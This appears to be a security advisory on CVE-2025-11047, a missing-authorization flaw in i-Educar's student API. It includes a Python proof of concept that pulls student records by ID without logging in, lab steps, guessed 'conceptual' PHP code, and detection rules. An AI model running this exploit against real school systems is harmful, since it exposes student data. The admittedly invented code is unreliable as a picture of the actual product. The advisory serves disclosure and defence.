CVE-2025-11047

Executive Summary

CVE-2025-11047 is an improper authorization vulnerability in Portabilis i-Educar, a school management system, affecting versions up to 2.10. The flaw exists in the /module/Api/aluno endpoint, where the aluno_id parameter is not properly validated, allowing an unauthenticated remote attacker to access or manipulate student data without proper authorization. The exploit has been publicly disclosed, increasing the risk of active exploitation. The CVSS score is 6.3 (Medium), indicating a moderate severity with potential for data confidentiality, integrity, and availability impact.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)
• Threat Level: Moderate. The public availability of exploit code and the lack of a patch elevate the risk. EPSS score is 0.0%, but this may change as exploitation becomes more widespread.

Deep Dive & Mechanics

The vulnerability resides in the API endpoint /module/Api/aluno within i-Educar. The application fails to enforce proper authorization checks when processing the aluno_id parameter. An attacker can send a crafted HTTP request to this endpoint, manipulating the aluno_id to access student records belonging to other users or institutions. The lack of authentication or session validation on this endpoint allows unauthenticated remote exploitation.

The root cause is a missing or insufficient access control mechanism (CWE-285: Improper Authorization). The application likely relies on client-supplied identifiers without verifying that the requesting user has permission to access the specified resource.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code pattern is described generically.

Vulnerable Code (Conceptual PHP):

// /module/Api/aluno.php
$aluno_id = $_GET['aluno_id'];
$student = $db->query("SELECT * FROM students WHERE id = $aluno_id");
echo json_encode($student);

This code directly uses the user-supplied aluno_id without checking if the current user is authorized to view that student's data.

Patched Code (Conceptual):

// /module/Api/aluno.php
session_start();
if (!isset($_SESSION['user_id'])) {
    http_response_code(401);
    exit('Unauthorized');
}
$aluno_id = intval($_GET['aluno_id']);
$user_id = $_SESSION['user_id'];
$student = $db->query("SELECT * FROM students WHERE id = $aluno_id AND user_id = $user_id");
if ($student->num_rows == 0) {
    http_response_code(403);
    exit('Forbidden');
}
echo json_encode($student->fetch_assoc());

The patched version validates the user session and ensures the student record belongs to the authenticated user.

Exploitation & Lab Setup

Red Team

Exploit Proof of Concept (Python):

import requests

target = "http://target-educar-instance.com"
aluno_id = "1"  # Arbitrary student ID

url = f"{target}/module/Api/aluno?aluno_id={aluno_id}"
response = requests.get(url)

if response.status_code == 200:
    print("Exploit successful! Retrieved student data:")
    print(response.text)
else:
    print(f"Exploit failed. HTTP {response.status_code}")

Lab Setup:

1. Deploy a vulnerable i-Educar instance (version 2.10 or earlier) using Docker or a local LAMP stack.
2. Ensure the /module/Api/aluno endpoint is accessible without authentication.
3. Run the exploit script against the lab instance to verify unauthorized access.

Blue Team

Detection & Response:

• Monitor for unusual access to /module/Api/aluno from unauthenticated sources.
• Implement Web Application Firewall (WAF) rules to block requests with suspicious aluno_id patterns (e.g., SQL injection attempts, directory traversal).
• Enable logging for all API requests and correlate with authentication status.
• Deploy network segmentation to limit exposure of the i-Educar application.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /module/Api/aluno with varying aluno_id parameters from the same source IP.
  • Unusual patterns in aluno_id values (e.g., sequential numbers, SQL injection payloads).
• File IOCs:
  • Log entries in web server access logs showing repeated requests to /module/Api/aluno without prior authentication.
• Behavioral IOCs:
  • Unauthorized access to student records not associated with the requesting user.

Detection Engineering

YARA Rule

rule CVE_2025_11047_iEducar_Exploit {
    meta:
        description = "Detects exploit attempts for CVE-2025-11047 in i-Educar"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-11047"
    strings:
        $s1 = "/module/Api/aluno" ascii wide nocase
        $s2 = "aluno_id=" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-11047 i-Educar Unauthorized Access Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests targeting the vulnerable i-Educar API endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/module/Api/aluno'
        cs-uri-query|contains: 'aluno_id='
    condition: selection
falsepositives:
    - Legitimate API usage by authorized users
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-11047 i-Educar Unauthorized Access Attempt"; flow:to_server; content:"GET"; http_method; content:"/module/Api/aluno"; http_uri; content:"aluno_id="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not required: Block access to /module/Api/aluno via web server configuration or WAF.
2. Implement authentication for the API endpoint: Require a valid session token or API key.
3. Apply input validation on aluno_id: Ensure it is an integer and belongs to the authenticated user.

Long-term Fix:

• Upgrade to a patched version of i-Educar once released by Portabilis.
• Conduct a security audit of all API endpoints for similar authorization flaws.
• Implement role-based access control (RBAC) across the application.

Workaround:

• Use a reverse proxy to restrict access to the /module/Api/aluno endpoint to trusted IP addresses only.

Valters IT
DevSecOps & Cyber Threat Intelligence